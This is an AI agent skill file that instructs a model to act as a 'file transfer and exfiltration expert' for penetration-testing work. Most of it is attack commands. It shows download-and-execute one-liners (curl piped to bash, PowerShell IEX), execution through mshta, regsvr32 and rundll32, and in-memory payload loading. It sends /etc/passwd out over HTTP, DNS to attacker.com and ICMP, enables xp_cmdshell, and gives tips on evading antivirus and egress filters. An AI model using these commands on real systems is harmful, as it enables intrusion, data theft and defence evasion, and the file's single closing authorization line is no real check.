Files

Zhongwei Li 33a29e697a Initial commit

2025-11-30 09:03:09 +08:00

12 KiB

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name, description

name	description
transferring-files	Transfer files between systems using HTTP, SMB, FTP, netcat, base64 encoding, and living-off-the-land techniques for both Linux and Windows. Use when moving tools or exfiltrating data.

File Transfer Techniques Skill

You are a file transfer and exfiltration expert. Use this skill when the user requests help with:

Transferring files between systems
Data exfiltration techniques
Living-off-the-land file transfer methods
Cross-platform file operations
Encoding and obfuscation
Bypassing egress filtering
Establishing file servers

Core Methodologies

1. Linux File Download

wget:

# Basic download
wget http://10.10.10.10/file.txt

# Save with different name
wget http://10.10.10.10/file.txt -O output.txt

# Recursive download
wget -r http://10.10.10.10/directory/

# Download in background
wget -b http://10.10.10.10/largefile.zip

curl:

# Basic download
curl http://10.10.10.10/file.txt -o file.txt
curl -O http://10.10.10.10/file.txt  # Keep original name

# Follow redirects
curl -L http://10.10.10.10/file.txt -o file.txt

# Download with auth
curl -u user:password http://10.10.10.10/file.txt -o file.txt

# Download multiple files
curl -O http://10.10.10.10/file[1-10].txt

Netcat:

# Receiver
nc -lvnp 4444 > file.txt

# Sender
nc 10.10.10.10 4444 < file.txt

# With progress (use pv)
nc -lvnp 4444 | pv > file.txt
pv file.txt | nc 10.10.10.10 4444

Base64 Encoding (for copy-paste):

# Encode on attacker machine
base64 file.txt > file.b64
cat file.b64  # Copy this

# Decode on target
echo "BASE64_STRING_HERE" | base64 -d > file.txt

# Or in one command
echo "BASE64STRING" | base64 -d > file.txt

Python HTTP Server (for hosting files):

# Python 3
python3 -m http.server 8000

# Python 2
python -m SimpleHTTPServer 8000

# Ruby
ruby -run -e httpd . -p 8000

# PHP
php -S 0.0.0.0:8000

2. Windows File Download

PowerShell:

# Invoke-WebRequest (PS 3.0+)
Invoke-WebRequest -Uri "http://10.10.10.10/file.exe" -OutFile "C:\Temp\file.exe"
iwr -Uri "http://10.10.10.10/file.exe" -OutFile "C:\Temp\file.exe"

# DownloadFile
(New-Object Net.WebClient).DownloadFile("http://10.10.10.10/file.exe", "C:\Temp\file.exe")

# DownloadString (download and execute)
IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/script.ps1')

# Download and execute in memory
$data = (New-Object Net.WebClient).DownloadData('http://10.10.10.10/payload.exe')
$assem = [System.Reflection.Assembly]::Load($data)

certutil:

# Download file
certutil.exe -urlcache -split -f "http://10.10.10.10/file.exe" file.exe

# Alternative syntax
certutil -urlcache -f "http://10.10.10.10/file.exe" file.exe

# Clean cache
certutil.exe -urlcache * delete

bitsadmin:

# Download file
bitsadmin /transfer job /download /priority high http://10.10.10.10/file.exe C:\Temp\file.exe

# Verify and complete
bitsadmin /complete job

cmd.exe (VBS script):

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

cscript wget.vbs http://10.10.10.10/file.exe file.exe

3. Linux File Upload/Exfiltration

HTTP POST:

# curl
curl -X POST -F "file=@/etc/passwd" http://10.10.10.10:8000/upload

# With auth
curl -X POST -F "file=@file.txt" http://10.10.10.10:8000/upload -u user:pass

# wget
wget --post-file=/etc/passwd http://10.10.10.10:8000/upload

SCP (if SSH available):

# Upload
scp file.txt user@10.10.10.10:/tmp/

# Download
scp user@10.10.10.10:/tmp/file.txt ./

# Recursive
scp -r directory/ user@10.10.10.10:/tmp/

# With key
scp -i id_rsa file.txt user@10.10.10.10:/tmp/

Netcat:

# Receiver (attacker)
nc -lvnp 4444 > received_file.txt

# Sender (target)
nc 10.10.10.10 4444 < file.txt

Socat:

# Receiver
socat TCP4-LISTEN:4444,fork file:received.txt

# Sender
socat TCP4:10.10.10.10:4444 file:file.txt

DNS Exfiltration:

# Encode data and send via DNS queries
for data in $(cat /etc/passwd | base64 | tr -d '=' | fold -w 32); do
  dig $data.attacker.com @dns-server
done

# Receive on DNS server logs

ICMP Exfiltration:

# Send data in ICMP packets
cat file.txt | xxd -p -c 16 | while read line; do
  ping -c 1 -p $line 10.10.10.10
done

# Receive with tcpdump
tcpdump -i eth0 icmp -X

4. Windows File Upload

PowerShell:

# Upload via HTTP POST
$file = Get-Content "C:\Temp\file.txt" -Raw
Invoke-RestMethod -Uri "http://10.10.10.10:8000/upload" -Method Post -Body $file

# Upload file object
$fileBytes = [System.IO.File]::ReadAllBytes("C:\Temp\file.exe")
Invoke-RestMethod -Uri "http://10.10.10.10:8000/upload" -Method Post -Body $fileBytes

SMB:

# Copy to SMB share
copy C:\Temp\file.txt \\10.10.10.10\share\

# Map drive first
net use Z: \\10.10.10.10\share
copy C:\Temp\file.txt Z:\

FTP:

# Create FTP script
echo open 10.10.10.10 > ftp.txt
echo user username password >> ftp.txt
echo binary >> ftp.txt
echo put file.exe >> ftp.txt
echo bye >> ftp.txt

# Execute
ftp -s:ftp.txt

5. SMB File Transfer

Linux to Windows:

# Mount SMB share on Linux
smbclient //10.10.10.10/share -U username
# In smbclient:
put local_file.txt
get remote_file.txt

# Mount and copy
mount -t cifs //10.10.10.10/share /mnt/smb -o username=user,password=pass
cp file.txt /mnt/smb/

Windows to Linux:

# Start Samba server on Linux
sudo smbserver.py share /tmp/share -smb2support

# From Windows
copy C:\file.txt \\10.10.10.10\share\

Impacket smbserver:

# On attacker (Linux)
sudo impacket-smbserver share /tmp/share -smb2support
sudo impacket-smbserver share /tmp/share -smb2support -username user -password pass

# On target (Windows)
# No auth
copy file.txt \\10.10.10.10\share\
\\10.10.10.10\share\file.exe

# With auth
net use \\10.10.10.10\share /user:user pass
copy file.txt \\10.10.10.10\share\

6. FTP File Transfer

Linux FTP Server:

# Python pyftpdlib
sudo python3 -m pyftpdlib -p 21 -w

# vsftpd (if installed)
sudo service vsftpd start

Windows FTP Client:

# Interactive
ftp 10.10.10.10

# Scripted
echo open 10.10.10.10 21 > ftp.txt
echo USER username >> ftp.txt
echo password >> ftp.txt
echo binary >> ftp.txt
echo GET file.exe >> ftp.txt
echo bye >> ftp.txt
ftp -s:ftp.txt

7. Living Off The Land (LOLBAS/GTFOBins)

Windows LOLBAS:

# certutil (already shown)
certutil -urlcache -f http://10.10.10.10/file.exe file.exe

# mshta
mshta http://10.10.10.10/payload.hta

# regsvr32
regsvr32 /s /n /u /i:http://10.10.10.10/file.sct scrobj.dll

# rundll32
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/payload.ps1')")

Linux GTFOBins:

# See GTFOBins for specific binaries
# https://gtfobins.github.io/

8. Database Exfiltration

MySQL:

-- Write to file (requires FILE privilege)
SELECT * FROM users INTO OUTFILE '/tmp/users.txt';
SELECT LOAD_FILE('/etc/passwd') INTO OUTFILE '/tmp/passwd.txt';

-- Read from file
LOAD DATA INFILE '/tmp/data.txt' INTO TABLE users;

MSSQL:

-- Enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- Use certutil to download
EXEC xp_cmdshell 'certutil -urlcache -f http://10.10.10.10/file.exe C:\Temp\file.exe';

PostgreSQL:

-- Write to file
COPY (SELECT * FROM users) TO '/tmp/users.txt';

-- Read from file
COPY users FROM '/tmp/data.txt';

-- Command execution to download
COPY (SELECT '') TO PROGRAM 'wget http://10.10.10.10/file.txt -O /tmp/file.txt';

9. Encoding/Obfuscation

Base64:

# Encode
base64 file.txt > file.b64
cat file.txt | base64

# Decode
base64 -d file.b64 > file.txt
cat file.b64 | base64 -d > file.txt

Hex Encoding:

# Encode
xxd -p file.txt > file.hex
hexdump -ve '1/1 "%.2x"' file.txt > file.hex

# Decode
xxd -r -p file.hex > file.txt

Gzip Compression:

# Compress
gzip file.txt  # Creates file.txt.gz

# Decompress
gunzip file.txt.gz

Tar Archive:

# Create
tar -czf archive.tar.gz directory/

# Extract
tar -xzf archive.tar.gz

10. Persistence and Staging

Download and Execute:

# Linux
wget http://10.10.10.10/script.sh -O /tmp/script.sh && chmod +x /tmp/script.sh && /tmp/script.sh

# One-liner
curl http://10.10.10.10/script.sh | bash

# PowerShell
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/script.ps1')"

In-Memory Execution:

# PowerShell - never touches disk
$code = (New-Object Net.WebClient).DownloadString('http://10.10.10.10/script.ps1')
IEX $code

# Reflective DLL loading
$bytes = (New-Object Net.WebClient).DownloadData('http://10.10.10.10/payload.dll')
[System.Reflection.Assembly]::Load($bytes)

Quick Reference Commands

Start HTTP Server (Attacker):

python3 -m http.server 8000
sudo python3 -m http.server 80

Start SMB Server (Attacker):

sudo impacket-smbserver share /tmp/share -smb2support

Download on Target (Linux):

wget http://10.10.10.10:8000/file
curl http://10.10.10.10:8000/file -o file

Download on Target (Windows):

certutil -urlcache -f http://10.10.10.10:8000/file.exe file.exe
powershell -c "(New-Object Net.WebClient).DownloadFile('http://10.10.10.10:8000/file.exe','file.exe')"

Upload from Target:

# Linux
curl -X POST -F "file=@file.txt" http://10.10.10.10:8000/
nc 10.10.10.10 4444 < file.txt

# Windows
copy file.txt \\10.10.10.10\share\

Troubleshooting

Firewall Blocking:

Try alternative ports (80, 443, 53)
Use DNS/ICMP exfiltration
Encode data and use allowed protocols

AV Detection:

Encode/obfuscate payloads
Use in-memory execution
Split file into chunks
Use legitimate tools (LOLBAS)

No Internet Access:

Use local file shares (SMB, NFS)
Use removable media if physical access
Use database OUT FILE if database access
Use local services (FTP, HTTP on internal network)

Reference Links

LOLBAS Project: https://lolbas-project.github.io/
GTFOBins: https://gtfobins.github.io/
HackTricks File Transfer: https://book.hacktricks.xyz/generic-methodologies-and-resources/exfiltration
PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/File%20Transfer.md

When to Use This Skill

Activate this skill when the user asks to:

Transfer files between systems
Download files to compromised systems
Exfiltrate data from targets
Set up file servers for attacks
Bypass egress filtering
Use living-off-the-land techniques
Encode or obfuscate file transfers
Help with data staging

Always ensure proper authorization before transferring files to/from any system.

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